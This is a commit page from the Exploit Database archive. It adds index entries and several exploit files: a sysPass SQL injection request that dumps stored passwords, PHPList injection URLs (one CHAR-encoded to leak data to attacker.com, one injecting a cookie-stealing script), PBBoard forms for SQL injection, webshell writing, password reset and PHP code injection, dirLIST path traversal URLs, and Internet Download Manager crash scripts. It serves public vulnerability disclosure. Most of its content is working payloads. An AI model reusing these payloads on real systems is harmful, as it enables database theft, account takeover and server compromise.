Skip to content

Commit 111bcdc

Browse files
author
Offensive Security
committed
DB: 2015-07-15
11 new exploits
1 parent 5d9a880 commit 111bcdc

12 files changed

Lines changed: 706 additions & 0 deletions

File tree

files.csv

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33943,3 +33943,14 @@ id,file,description,date,author,platform,type,port
3394333943
37602,platforms/php/webapps/37602.txt,"ZenPhoto 1.4.8 - Multiple Vulnerabilities",2015-07-13,"Tim Coen",php,webapps,80
3394433944
37603,platforms/php/webapps/37603.txt,"WordPress CP Contact Form with Paypal Plugin 1.1.5 - Multiple Vulnerabilities",2015-07-13,"Nitin Venkatesh",php,webapps,80
3394533945
37604,platforms/php/webapps/37604.txt,"SO Planning 1.32 - Multiple Vulnerabilities",2015-07-13,"Huy-Ngoc DAU",php,webapps,80
33946+
37607,platforms/windows/dos/37607.py,"Internet Download Manager - (.ief) Crash PoC",2015-07-14,"Mohammad Reza Espargham",windows,dos,0
33947+
37608,platforms/windows/dos/37608.py,"Internet Download Manager - (Find Download) Crash PoC",2015-07-14,"Mohammad Reza Espargham",windows,dos,0
33948+
37609,platforms/xml/webapps/37609.txt,"Pimcore CMS Build 3450 - Directory Traversal",2015-07-14,Portcullis,xml,webapps,0
33949+
37610,platforms/php/webapps/37610.txt,"sysPass 1.0.9 - SQL Injection",2015-07-14,"SySS GmbH",php,webapps,0
33950+
37611,platforms/windows/remote/37611.php,"Impero Education Pro - SYSTEM Remote Command Execution",2015-07-14,slipstream,windows,remote,0
33951+
37612,platforms/windows/dos/37612.py,"ZOC Terminal Emulator 7 - (Quick Connection) Crash PoC",2015-07-14,"SATHISH ARTHAR",windows,dos,0
33952+
37613,platforms/php/webapps/37613.txt,"PHPList 2.10.18 'index.php' SQL Injection Vulnerability",2012-08-08,"High-Tech Bridge SA",php,webapps,0
33953+
37614,platforms/php/webapps/37614.txt,"PBBoard index.php Multiple Parameter SQL Injection",2012-08-08,"High-Tech Bridge",php,webapps,0
33954+
37615,platforms/php/webapps/37615.txt,"PBBoard member_id Parameter Validation Password Manipulation",2012-08-08,"High-Tech Bridge",php,webapps,0
33955+
37616,platforms/php/webapps/37616.txt,"PBBoard admin.php xml_name Parameter Arbitrary PHP Code Execution",2012-08-08,"High-Tech Bridge",php,webapps,0
33956+
37617,platforms/php/webapps/37617.txt,"dirLIST Multiple Local File Include and Arbitrary File Upload Vulnerabilities",2012-08-08,L0n3ly-H34rT,php,webapps,0

platforms/php/webapps/37610.txt

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
-----BEGIN PGP SIGNED MESSAGE-----
2+
Hash: SHA512
3+
4+
Advisory ID: SYSS-2015-031
5+
Product: sysPass
6+
Vendor: http://cygnux.org/
7+
Affected Version(s): 1.0.9 and below
8+
Tested Version(s): 1.0.9
9+
Vulnerability Type: SQL Injection (CWE-89)
10+
Risk Level: High
11+
Solution Status: Fixed
12+
Vendor Notification: 2014-07-27
13+
Solution Date: 2014-08-04
14+
Public Disclosure: 2015-07-13
15+
CVE Reference: Not yet assigned
16+
Author of Advisory: Daniele Salaris (SySS GmbH)
17+
18+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
19+
20+
Overview:
21+
22+
sysPass is an web based Password Manager written in PHP and Ajax with a
23+
built-in multiuser environment.
24+
25+
An SQL injection vulnerability could be identified in one of the requests
26+
of this web password manager.
27+
28+
The software manufacturer describes the web application as follows
29+
(see [1]):
30+
31+
"sysPass is a web password manager written in PHP that allows the
32+
password management in a centralized way and in a multiuser environment.
33+
The main features are:
34+
35+
* HTML5 and Ajax based interface
36+
* Password encryption with AES-256 CBC.
37+
* Users and groups management.
38+
* Advanced profiles management with 16 access levels.
39+
* MySQL, OpenLDAP and Active Directory authentication.
40+
* Activity alerts by email.
41+
* Accounts change history.
42+
* Accounts files management.
43+
* Inline image preview.
44+
* Multilanguage.
45+
* Links to external Wiki.
46+
* Portable backup.
47+
* Action tracking and event log.
48+
* One-step install process."
49+
50+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
51+
52+
Vulnerability Details:
53+
54+
The SQL injection vulnerability was found in an HTTP post request of the
55+
AJAX component from the sysPass software.
56+
57+
The attribute getAccounts is not correctly sanitized and therefore can be
58+
abused to inject arbitrary SQL statements.
59+
60+
This SQL injection vulnerability can be exploited by an authenticated
61+
attacker by sending a specially crafted HTTP POST request (see PoC
62+
section).
63+
64+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
65+
66+
Proof of Concept (PoC):
67+
68+
The following HTTP request can be used to extract information from the
69+
database:
70+
71+
POST /sysPass-1.0.9/ajax/ajax_search.php HTTP/1.1
72+
Host: <HOST>
73+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
74+
Accept: text/html, */*; q=0.01
75+
Accept-Language: en-US,en;q=0.5
76+
Accept-Encoding: gzip, deflate
77+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
78+
X-Requested-With: XMLHttpRequest
79+
Referer: http://<HOST>/sysPass-1.0.9/index.php
80+
Content-Length: 249
81+
Cookie: PHPSESSID=<SESSIONID>
82+
Connection: keep-alive
83+
Pragma: no-cache
84+
Cache-Control: no-cache
85+
86+
search=getAccounts') UNION ALL SELECT NULL,NULL,account_name,account_login,account_pass,account_url,NULL,NULL,NULL,NULL,NULL from accounts -- &start=0&skey=1&sorder=1&sk=081bad3198bdb3cd29133befc57d60287541663b&is_ajax=1&customer=0&category=0&rpp=10
87+
88+
89+
The server answers as followed:
90+
91+
HTTP/1.1 200 OK
92+
Date: Fri, 10 Jul 2015 14:06:04 GMT
93+
Server: Apache/2.4.12 (Unix) PHP/5.6.10
94+
X-Powered-By: PHP/5.6.10
95+
Expires: Thu, 19 Nov 1981 08:52:00 GMT
96+
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
97+
Pragma: no-cache
98+
Set-Cookie: PHPSESSID=<SESSIONID>; path=/; HttpOnly
99+
Content-Length: 1147
100+
Keep-Alive: timeout=5, max=100
101+
Connection: Keep-Alive
102+
Content-Type: text/html; charset=UTF-8
103+
104+
<div id="data-search-header" class="data-header"><ul class="round header-grey"><li class="header-txt"><a onClick="searchSort(5,0)"
105+
title="Sort by Customer" >Customer</a></li><li class="header-txt"><a onClick="searchSort(1,0)" title="Sort by Name">Name</a><img
106+
src="imgs/sort_desc.png" class="icon" /></li><li class="header-txt"><a onClick="searchSort(2,0)" title="Sort by Category">Category</a></li><li
107+
class="header-txt"><a onClick="searchSort(3,0)" title="Sort by Username">User</a></li><li class="header-txt"><a onClick="searchSort(4,0)"
108+
title="Sort by URL / IP">URL / IP</a></li></ul></div><div id="data-search" class="data-rows"><ul><li class="cell-txt txtCliente"></li><li
109+
class="cell-txt">TEST_USER</li><li class="cell-txt">TEST_NAME</li><li class="cell-txt"><DATA></li><li
110+
class="cell-txt">TEST_URL</li><li class="cell-img"><img src="imgs/btn_group.png" title="Groups:<br><br>*<br>" /></li><li
111+
class="cell-actions round"></li></ul></div><div id="pageNav" class="round shadow"><div id="pageNavLeft">1 @ 0.00478 s
112+
<span id="txtFilterOn" class="round">Filter ON</span></div><div id="pageNavRight">&nbsp; 1 / 1 &nbsp;</div></div>
113+
114+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
115+
116+
Solution:
117+
118+
Update sysPass to the latest software version.
119+
120+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
121+
122+
Disclosure Timeline:
123+
124+
2014-07-27: Vulnerability discovered
125+
2014-07-27: Vulnerability reported to vendor
126+
2014-08-04: Vendor releases new fixed version of sysPass
127+
2015-07-13: Public release of security advisory
128+
129+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
130+
131+
References:
132+
133+
[1] Web site of sysPass - sysadmin password manager
134+
http://wiki.syspass.org/en/start
135+
[2] SySS Security Advisory SYSS-2015-031
136+
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-031.txt
137+
[3] SySS Responsible Disclosure Policy
138+
https://www.syss.de/en/news/responsible-disclosure-policy/
139+
140+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
141+
142+
Credits:
143+
144+
This security vulnerability was found by Daniele Salaris of the SySS GmbH.
145+
146+
E-Mail: disclosure (at) syss.de
147+
Key fingerprint = E135 4E23 6091 A85C 9E14 577A 28DF B3A7 0A98 A9D4
148+
149+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
150+
151+
Disclaimer:
152+
153+
The information provided in this security advisory is provided "as is"
154+
and without warranty of any kind. Details of this security advisory may
155+
be updated in order to provide as accurate information as possible. The
156+
latest version of this security advisory is available on the SySS Web
157+
site.
158+
159+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
160+
161+
Copyright:
162+
163+
Creative Commons - Attribution (by) - Version 3.0
164+
URL: http://creativecommons.org/licenses/by/3.0/deed.en
165+
166+
-----BEGIN PGP SIGNATURE-----
167+
Version: GnuPG v2
168+
169+
iQIcBAEBCgAGBQJVo3V1AAoJECjfs6cKmKnUUgQQALxneKA1L6DQmcqbCf5X1ji1
170+
UGoSwkpdsvfMAJOeQ5IlpLKd1hYWl3NkeheD74nBZ0YoNjLc9I3uSh1u0Xi25kRu
171+
xI6RTgWNtroHRYeVN8v2qPFiABXKUxc9zdsEVNLz2PNNU4mbmzaeszrrK3XU7Z/+
172+
dMjGvAr7b+qWMD3N+l5zSqrh4KMpnmu6XAJSKJM3az6FECsdXFKF7w2DlAr39vrP
173+
cCkXrN9ekSkEN2wuvh8O3kGQ7T9hsxHCsSGwclb4gUqAVQ4aLcoL782HQulhW3/J
174+
sMWm3s7PLo0Q10RMhdoJgGKCZfAbn9L2HfjuvXO4YznEjjp/bTwLw3DIGqNSmF3q
175+
aqFbFZxxgW45JIV9sIfa+A17Q8DZAdsZNLoEOTcznBd9S46qn/ohWhZVOIypof8y
176+
J3hVMlYYTL52kKEDR2QlVwsNzmfeyE3bmTkUjJD8STz/stQi2shDXQhFe3uJKMna
177+
gtYh/US+GbWtPvll0NLOlNT9kG+Eytsuj5dgdwMZ82JV3wCyEL6IgbhXpAAAlt9Y
178+
UQ4Zv6kNLJt2XF3Sws+DXtp5S0bdE5MrKJSa9zUjj38+YmCg+TMMRIgs6U2YGnlk
179+
JHOrIUZzveTTZ0AXIE/HXFGWnuMOEPjoZBh97y9xdUSej3Wo+knjUrarVfv8PCaG
180+
GBBy6/A3qHLaOsoxWX0i
181+
=ZrwB
182+
-----END PGP SIGNATURE-----

platforms/php/webapps/37613.txt

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
source: http://www.securityfocus.com/bid/54912/info
2+
3+
PHPList is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
Versions prior to PHPList 2.10.19 are vulnerable.
8+
9+
http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select version() --
10+
11+
http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) --
12+
13+
http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) --

platforms/php/webapps/37614.txt

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
source: http://www.securityfocus.com/bid/54916/info
2+
3+
PBBoard is prone to multiple security vulnerabilities including:
4+
5+
1. Multiple SQL-injection vulnerabilities
6+
2. A security-bypass vulnerability
7+
3. An arbitrary file upload vulnerability
8+
9+
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
10+
11+
PBBoard 2.1.4 is vulnerable; other versions may also be affected.
12+
13+
<form action="http://www.example.com/index.php?id=1&member=1&page=send&start=1" method="post" name="main" id="main">
14+
<input type="hidden" name="username" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
15+
<input type="submit" name="Submit" value="Send">
16+
</form>
17+
18+
<form action="http://www.example.com/index.php?page=forget&send_active_code=1" method="post" name="main" id="main">
19+
<input type="hidden" name="email" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
20+
<input type="submit" name="Submit" value="Send">
21+
</form>
22+
23+
<form action="http://www.example.com/index.php?page=forum_archive&password_check=1&id=1" method="post" name="main" id="main">
24+
<input type="hidden" name="password" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
25+
<input type="submit" name="Submit" value="Send">
26+
</form>
27+
28+
<form action="http://www.example.com/index.php?page=management&move=1&subject_id=1" method="post" name="main" id="main">
29+
<input type="hidden" name="section" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
30+
<input type="submit" name="Submit" value="Send">
31+
</form>
32+
33+
<form action="http://www.example.com/index.php?page=managementreply&startdeleteposts=1&do_replys=1" method="post" name="main" id="main">
34+
<input type="hidden" name="section_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
35+
<input type="hidden" name="check[]" value="1">
36+
<input type="submit" name="Submit" value="Send">
37+
</form>
38+
39+
<form action="http://www.example.com/index.php?page=new_password&forget=1" method="post" name="main" id="main">
40+
<input type="hidden" name="member_id" value="1' OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- ">
41+
<input type="hidden" name="new_password" value="1">
42+
<input type="submit" name="Submit" value="Send">
43+
</form>
44+
45+
<form action="http://www.example.com/index.php?page=tags&start=1" method="post" name="main" id="main">
46+
<input type="hidden" name="subjectid" value="' union select '<? php_code ?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 INTO OUTFILE '../../../path/to/site/file.php' -- ">
47+
<input type="submit" name="Submit" value="Send">
48+
</form>

platforms/php/webapps/37615.txt

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
source: http://www.securityfocus.com/bid/54916/info
2+
3+
PBBoard is prone to multiple security vulnerabilities including:
4+
5+
1. Multiple SQL-injection vulnerabilities
6+
2. A security-bypass vulnerability
7+
3. An arbitrary file upload vulnerability
8+
9+
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
10+
11+
PBBoard 2.1.4 is vulnerable; other versions may also be affected.
12+
13+
<form action="http://www.example.com/index.php?page=new_password&forget=1" method="post" name="main" id="main">
14+
<input type="hidden" name="member_id" value="1">
15+
<input type="hidden" name="new_password" value="new_password">
16+
<input type="submit" name="Submit" value="Send">
17+
</form>

platforms/php/webapps/37616.txt

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
source: http://www.securityfocus.com/bid/54916/info
2+
3+
PBBoard is prone to multiple security vulnerabilities including:
4+
5+
1. Multiple SQL-injection vulnerabilities
6+
2. A security-bypass vulnerability
7+
3. An arbitrary file upload vulnerability
8+
9+
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
10+
11+
PBBoard 2.1.4 is vulnerable; other versions may also be affected.
12+
13+
14+
<form action="http://www.example.com/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
15+
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
16+
<input type="submit" name="Submit" value="Send">
17+
</form>

platforms/php/webapps/37617.txt

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
source: http://www.securityfocus.com/bid/54933/info
2+
3+
dirLIST is prone to multiple local file-include vulnerabilities and an arbitrary-file upload vulnerability because the application fails to sufficiently sanitize user-supplied input.
4+
5+
An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.
6+
7+
http://www.example.com/dirlist_0.3.0/dirLIST_files/gallery_files/show_scaled_image.php?image_path=../../../../../windows/win.ini
8+
http://www.example.com/irlist_0.3.0/dirLIST_files/thumb_gen.php?image_path=../../../../../windows/win.ini

platforms/windows/dos/37607.py

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#!/usr/bin/env python
2+
# Title : Internet Download Manager - Crash Proof Of Concept
3+
# Affected Versions: All Version
4+
# Founder : InternetDownloadManager
5+
# Tested on Windows 7 / Server 2008
6+
#
7+
#
8+
# Author : Mohammad Reza Espargham
9+
# Linkedin : https://ir.linkedin.com/in/rezasp
10+
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
11+
# Website : www.reza.es
12+
# Twitter : https://twitter.com/rezesp
13+
# FaceBook : https://www.facebook.com/mohammadreza.espargham
14+
#
15+
#
16+
# downlWithIDM64.dll Exploit
17+
#
18+
#
19+
# 1 . run python code : python crash.py
20+
# 2 . open "IDM"
21+
# 3 . Tasks --> Import --> From IDM export file
22+
# 4 . select r3z4.ief
23+
# 5 . Crashed ;)
24+
25+
26+
hdr = "<" #start syntax
27+
hcr = "ftp://" #pro
28+
crash = "\x41"*1992999 #B0F
29+
exp = hdr+hcr+crash+hdr+hcr+crash
30+
file = open("r3z4.ief", "w")
31+
file.write(exp)
32+
file.close()

platforms/windows/dos/37608.py

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
#!/⁠usr/⁠bin/⁠env python
2+
# Title : Internet Download Manager -⁠ Crash Proof Of Concept
3+
# Affected Versions: All Version
4+
# Founder : InternetDownloadManager
5+
# Tested on Windows 7 /⁠ Server 2008
6+
#
7+
#
8+
# Author : Mohammad Reza Espargham
9+
# Linkedin : https://ir.linkedin.com/in/rezasp
10+
# E-⁠Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
11+
# Website : www.reza.es
12+
# Twitter : https://twitter.com/rezesp
13+
# FaceBook : https://www.facebook.com/mohammadreza.espargham
14+
#
15+
#
16+
# downlWithIDM64.dll Exploit
17+
#
18+
#
19+
# 1 . run python code : python crash.py
20+
# 2 . open r3z4.txt and copy content to clipboard
21+
# 3 . open "IDM"
22+
# 4 . From Menu , Downloads -⁠-⁠> Find
23+
# 5 . Paste ClipBoard on "File name or part of the name"
24+
# 6 . Click Find
25+
# 7 . Crashed ;)
26+
27+
28+
crash = "\x41"*10000 #B0F
29+
file = open("r3z4.txt", "w")
30+
file.write(crash)
31+
file.close()

0 commit comments

Comments
 (0)